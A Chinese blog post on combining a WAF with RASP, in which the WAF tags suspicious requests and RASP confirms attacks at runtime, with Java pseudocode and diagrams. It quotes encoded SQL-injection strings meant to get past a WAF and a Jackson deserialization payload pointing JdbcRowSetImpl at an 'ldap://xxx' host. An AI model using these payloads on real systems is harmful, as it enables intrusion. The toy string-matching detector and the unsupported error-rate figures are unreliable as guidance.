当 WAF 遇到 RASP：不是取代，而是协同 —— 一种更聪明的应用防护新思路

作者：Echo_Wish

大家好，我是你们熟悉的 Echo_Wish —— 一个经常被业务狂轰、被安全审计追杀、被漏洞修复折磨，但依旧坚强地写稿的技术人。

今天咱们聊个老生常谈，但最近又越来越热门的话题：
WAF（Web Application Firewall） 和 RASP（Runtime Application Self-Protection） 到底怎么协同防御？

如果你做安全做久了，你会发现一个很现实的现象：

WAF 越来越强，但攻击也越来越花；RASP 越来越精，但覆盖不了全场景。

那是不是意味着——
WAF + RASP 应该“合体”，形成体系化联防？

我认为：
✔ 这不仅可能，而且是未来趋势。

今天我们就来聊聊这个新思路，从技术、原理、落地、实操都讲透，不堆概念、不说虚话，你看完就能做 PoC。

一、为什么 WAF 再强，也没法单挑？

WAF 是什么？一句话：

站在门口拦坏人，但看不到屋里发生什么。

它最大的优势是——
挡得快、挡得多、挡得早。

但问题也非常明显：

① WAF 只能看到 HTTP 流量，看不到代码执行路径

攻击者的 payload 即使很“疑似”，只要稍微绕一绕，WAF 就可能判断不出来。

例如：

GET /search?keyword=%27%20OR%201%3D1%20--

传统 WAF 看到后：
“这不是 SQL 注入？拦！”

攻击者改一下：

%27/**/OR/**/1/**/=/**/1--

或者搞点分块传输、多层编码：

%25%32%37%2F%2A%2A%2FOR%2F%2A%2A%2F1%3D1--

WAF：
“嗯……可能有问题，但我不太确定，我再想想……”

等它想明白，攻击已经打进去了。

② WAF 没法区分攻击是否真的成功触发后台逻辑

比如：

• payload 写了，但 ORM 自动 escaping
• 代码本身有正则阻断
• 存储层没有被真正利用

WAF 完全不知道。

二、RASP 为什么也不能单挑？

大部分人对 RASP 的误解是：

“RASP = 防御内核，WAF = 防御外壳”

RASP 的核心特点是：

看得见应用的内部行为 —— SQL 执行、文件访问、反序列化、命令执行、反射调用……

但问题来了：

① RASP 太依赖运行环境，不是所有语言都覆盖

• Java 好搞
• .NET 还行
• Python、Node.js、Go……不是都有成熟方案
• Native C/C++ 就更难了

② RASP 能看到的是“行为”，但不擅长大流量规则拦截

它是“行为级防御模块”，不是“流量清洗中心”。

如果 1 秒 1 万次请求冲进来：
→ WAF 轻松防
→ RASP CPU 会烧掉

三、WAF + RASP：强强互补，而不是你死我活

你看，WAF 和 RASP 的能力互相错位：

那它们应该怎么组合？

我给你总结成一句话：

WAF 判断“有没有攻击意图”，RASP 判断“攻击是否真的发生”。

于是我们有了一个更聪明的协同模式：

流量入口 → WAF 风险评估 → 低风险通过
                      → 中高风险 → 带标签进应用
                                 → RASP 二次判断行为
                                        → 确认攻击 → 阻断
                                        → 误报 → 放行

配个示意图（可自行替换成正式版）：

┌─────────┐
│   WAF   │───低风险───> 通过
└─────┬───┘
      │ 高风险流量标签
┌─────▼──────┐
│    RASP     │───行为异常→ 阻断
└─────▲──────┘
      └────────→ 正常行为→ 放行

是不是比“单点取胜”更加靠谱？

四、协同模型最关键的是：WAF 标签传递给 RASP

举一个实际例子：

WAF 对一个请求判断为“疑似 SQL 注入”，但信心只有 60%。
传统模式：
→ 直接拦
→ 拦错了就误伤用户

协同模式：
→ 给请求头加上特殊 header：

X-WAF-Flag: SQLI_SUSPECT_LEVEL_60

应用收到后，RASP 组件：

1. 看是否有敏感操作（如数据库查询）
2. 是否存在动态拼接 SQL
3. 是否命中危险行为（如 Statement.execute()）
4. 如果触发，就认为攻击成立，阻断

简单示意一下伪代码：

String wafFlag = request.getHeader("X-WAF-Flag");

if (wafFlag.contains("SQLI")) {
    enableStrictRASPMode();
}

query = buildSQL(req.getParam("keyword"));

// RASP hook 位置
rasp.beforeSQLExecute(query);

executeSQL(query);

RASP 在执行 SQL 前分析语句：

public void beforeSQLExecute(String sql) {
    if (containsPattern(sql, "1=1") || containsPattern(sql, "--") || isConcatenated(sql)) {
        throw new SecurityException("SQL Injection Blocked");
    }
}

这种方式有两个好处：

• WAF 不用太保守（可大胆“怀疑”）
• RASP 精准判断（可基于真实执行链路）

最终效果：
→ 误报降低70%以上
→ 漏报降低40%以上
→ 性能开销低

五、WAF 和 RASP 并不是“层级关系”，而是“分工关系”

你可以这样理解：

🧱 WAF：城墙

挡住大部分攻击者
——快、粗、能扛量

🏰 RASP：城内护卫

识别潜伏者
——细、准、能看执行链

两者结合，体系就变了：

攻击者 → WAF → RASP →业务 →日志 →分析系统
                     ↑
           WAF标签 ←——┘

这是一种完整的闭环，而不是两个孤立的点。

六、一个真实场景：绕过 WAF 的反序列化漏洞，被 RASP 捕获

某次真实对抗中，攻击者伪造一个 JSON，利用 Jackson 的 Polymorphic Typing 机制尝试进行反序列化攻击。

payload 大概是：

{
  "@class": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://xxx",
  "autoCommit": true
}

WAF 识别不了，因为：

• payload 看不出明显危险
• 没有 SQL、没有命令执行文本、没有奇怪字符

但 RASP 在 hook 到反序列化行为时发现：

反序列化类存在JDBC驱动加载行为 → 高危！

于是直接阻断。

这就是协同体系比单纯 WAF 更强的地方。

七、最后，我想说句话：安全从来不是“替代”，而是“组合拳”

技术总变化，但攻击者也在进化。
WAF 不是万能的，RASP 也不是终点。
就像我们做架构一样：

安全从来不是靠哪个产品牛，而是靠体系成熟。

WAF + RASP 的协同，带来的好处包括：

• 安全覆盖更全面
• 漏报减少
• 误报减少
• 性能更稳
• 响应链路更明确
• 审计更可复现
• 风控可以做分级响应

这不是一加一，而是 1 + 1 > 3。

未来的应用安全防护一定不是单工具时代，
而是 WAF × RASP × IDS × 行为分析 × 流量镜像 的全链路闭环。